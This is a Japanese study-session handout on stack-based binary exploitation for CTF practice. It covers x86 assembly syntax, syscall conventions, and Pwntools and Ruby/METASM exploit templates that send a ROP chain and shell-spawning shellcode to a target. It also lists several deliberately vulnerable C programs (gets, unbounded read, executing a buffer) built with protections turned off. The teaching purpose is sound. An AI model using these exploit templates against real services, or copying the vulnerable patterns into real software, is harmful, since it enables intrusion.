Pwn勉強会(Stack day 1)

Tools

• Disassembler
  • udcli / ndisasm
  • objdump
  • METASM / Hopper / IDA Pro
• Assembler
  • nasm
  • Pwntools
  • METASM?
• Debugger
  • gdb-peda
• Pwn toolkit
  • Pwntools
  • Ruby系でなにか

Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう．

x86 assembly

• Intel記法
  • データはオペランドの右から左に流れる
  • 比較命令のオペランドの順序が命令名と一致しているためわかりやすい

  • 例

      14:   8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
      17:   01 45 fc                add    DWORD PTR [rbp-0x4],eax
      1a:   83 45 f8 01             add    DWORD PTR [rbp-0x8],0x1
      1e:   83 7d f8 09             cmp    DWORD PTR [rbp-0x8],0x9
      22:   7e f0                   jle    14 <f+0x14>

• AT&T記法

  • Intel記法のオペランドと逆順

  • 例

      14:   8b 45 f8                mov    -0x8(%rbp),%eax
      17:   01 45 fc                add    %eax,-0x4(%rbp)
      1a:   83 45 f8 01             addl   $0x1,-0x8(%rbp)
      1e:   83 7d f8 09             cmpl   $0x9,-0x8(%rbp)
      22:   7e f0                   jle    14 <f+0x14>

System call

• システムコールとは
  • プログラムがカーネルとやりとりする一元化された窓口
• プログラムの動作権限
  • ユーザモード
    • 普通のプログラムが動作
    • 基本的にプロセスのメモリ内で計算しかできない．
    • それ以外のことをするためにはシステムコールを呼ぶ
  • カーネルモード
    • カーネルが動作
  • 任意の操作が可能

How to call System calls

システムコールの呼び出し方

• x86
  • int 0x80
    • INTerrupt (ソフトウェア割り込み命令)
  • システムコール番号: eax
  • 引数: ebx, ecx, edx, esi, edi, ebp
• x86-64
  • syscall命令
  • システムコール番号: rax
  • 引数: rdi, rsi, rdx, r10, r8, r9

システムコール番号

参考文献

• /usr/include/x86_64-linux-gnu/asm/unistd_32.h
• /usr/include/x86_64-linux-gnu/asm/unistd_64.h

Pwntools

Pwntools?

• for Python
• 透過的・統合的なI/Oインターフェイス
• recvuntil, interactiveなどの便利なI/O機能
• シェルコードの生成
• アセンブラ/ディスアセンブラ
• 攻撃対象アーキテクチャに合わせたバイトオーダ・定数

Pwntools example

   1 # -*- coding: utf-8 -*-
   2 from pwn import *
   3 ## exploit対象のアーキテクチャ
   4 context(arch = 'i386', os = 'linux')
   5 # context(arch = "amd64", os = "linux")
   6 ## 攻撃のサーバに接続
   7 conn = process("./example")
   8 # conn = remote("example.com", 10000)
   9 ## ROPを構成
  10 rop = ""
  11 rop += p32(0x8048330)       # mprotect
  12 rop += p32(0x804855d)       # skip 3 words
  13 rop += p32(0x20000000)      # buf
  14 ...
  15 ## シェルコードをアセンブル
  16 shellcode = asm(shellcraft.sh())
  17 ## ログ表示
  18 p = log.waitfor("Pwning")
  19 ## ": "を受信するまでrecv
  20 conn.recvuntil(": ")
  21 ## エクスプロイトを送信
  22 conn.send(rop)
  23 time.sleep(0.5)
  24 conn.send(shellcode)
  25 ## ログ表示
  26 p.success("OK")
  27 ## コンソールの入出力を攻撃対象に接続
  28 conn.interactive()

Ruby Example

以下の外部ライブラリを利用する

• metasm Ruby向けアセンブリ統合環境

  • gem install metasmでインストール可能

• ctf_io.rb interactiveに通信するために必要

  • http://pastebin.com/xPqLipN1 exploitと同じディレクトリに入れる。

標準ライブラリのうち以下はpwnの問題を解く上でとても良く利用される

• socket TCPやUDPのサーバに接続する

• expect 正規表現にマッチする文字列が表われるまでreadする

   1 require 'metasm'
   2 require 'expect' # IO#expect
   3 require 'socket' # TCPSocket
   4 require_relative 'ctf_io' # IO#interactive!
   5 
   6 # シェルコードをアセンブル(x86)
   7 # x86-64の場合はMetasm::Ia32の変わりにMetasm::X86_64を利用する
   8 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
   9 mov eax, 1
  10 mov ebx, 42
  11 int 80h   // exit(42)
  12 SOURCE
  13 
  14 # ROPを作成
  15 rop = ''
  16 rop << [0x8048330, 0x804855d].pack("I*") # 32bit little endian
  17 # "Q"が64bit litten endian
  18 
  19 # コマンドを実行し、その入出力をIOオブジェクトとして取得します。
  20 IO.popen('./example', 'w') do |s|
  21   # TCPサーバに接続する場合は次のようにします。
  22   # TCPSocket.open('ctforderpwn.cloudapp.net', 11011) do |s|
  23 
  24   s.expect(": ") # ": "を受信するまでread
  25   # s.expect(/(\d+): /) 正規表現も利用可能
  26 
  27   # エクスプロイトの送信
  28   s.print rop
  29   sleep 0.5
  30   s.print shellcode
  31 
  32   # コンソールの入出力を攻撃対称に接続
  33   s.interactive!
  34 end
  35 exit 0
  36 # ログ出力が必要な場合、Rubyの標準のLogライブラリあたりを利用できます
  37 # 普通にSTDOUT.putsやppやpで十分な場合がほとんどだと思います。
  38 
  39 # ここからアセンブラに関する補足。
  40 
  41 # アセンブラではマクロを利用可能
  42 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
  43 #define EXIT 42
  44 #define syscall int 80h
  45 mov eax, 1
  46 mov ebx, EXIT
  47 syscall   // exit(42)
  48 SOURCE
  49 
  50 
  51 # Cのヘッダファイルのインクルードし、定数等を利用
  52 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
  53 #include <asm/unistd_32.h>
  54 #define syscall(name) mov eax, __NR_##name \\
  55                           int 0x80
  56 #define syscall1(name, arg1) mov ebx, arg1 syscall(name)
  57 syscall1(exit, 42)
  58 SOURCE
  59 
  60 
  61 # 定数を後からプログラムで設定
  62 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
  63 mov eax, fd
  64 SOURCE
  65 shellcode.fixup 'fd' => 3 # fdを3に設定
  66 shellcode = shellcode.data # 文字列として取得

Shellcode

   1 // gcc -z execstack -fno-stack-protector -o baby1 baby1.c
   2 // -m32 / -m64 両方やってもらうよ！
   3 typedef void func();
   4 int main() {
   5     char buf[1024];
   6     write(1, "Send me shellcode: ", 19);
   7     read(0, buf, 1024);
   8     ((func *)buf)();
   9 }

Shellcode(no /bin/sh)

• chroot環境
• /bin/shが無いのでopen, read, writeを自分で行う

x86/x86-64 ABI

x86/x86_64関数呼び出しチートシート

Return-to-plt

   1 // gcc -m32 -fno-stack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     system("sleep 1");
   8     gets(buf);
   9     return 0;
  10 }
  11 int main() { return f(); }

ASLR

ASLRについて説明

Return-to-libc

   1 // gcc -m32 -pie -fPIE -fno-stack-protector -o baby4 baby4.c
   2 #include <unistd.h>
   3 int f() {
   4     char buf[32];
   5     write(1, buf, 64);
   6     read(0, buf, 1024);
   7     return 0;
   8 }
   9 int main() { return f(); }

Return-to-plt revisited(x86-64) with tiny ROP

   1 // gcc -m64 -fno-stack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     system("sleep 1");
   8     gets(buf);
   9     return 0;
  10 }
  11 int main() { return f(); }

ROP

   1 // gcc -m32 -static -fno-stack-protector -o baby5 baby5.c
   2 #include <unistd.h>
   3 int f() {
   4     char buf[32];
   5     read(0, buf, 1024);
   6     return 0;
   7 }
   8 int main() { return f(); }

実践

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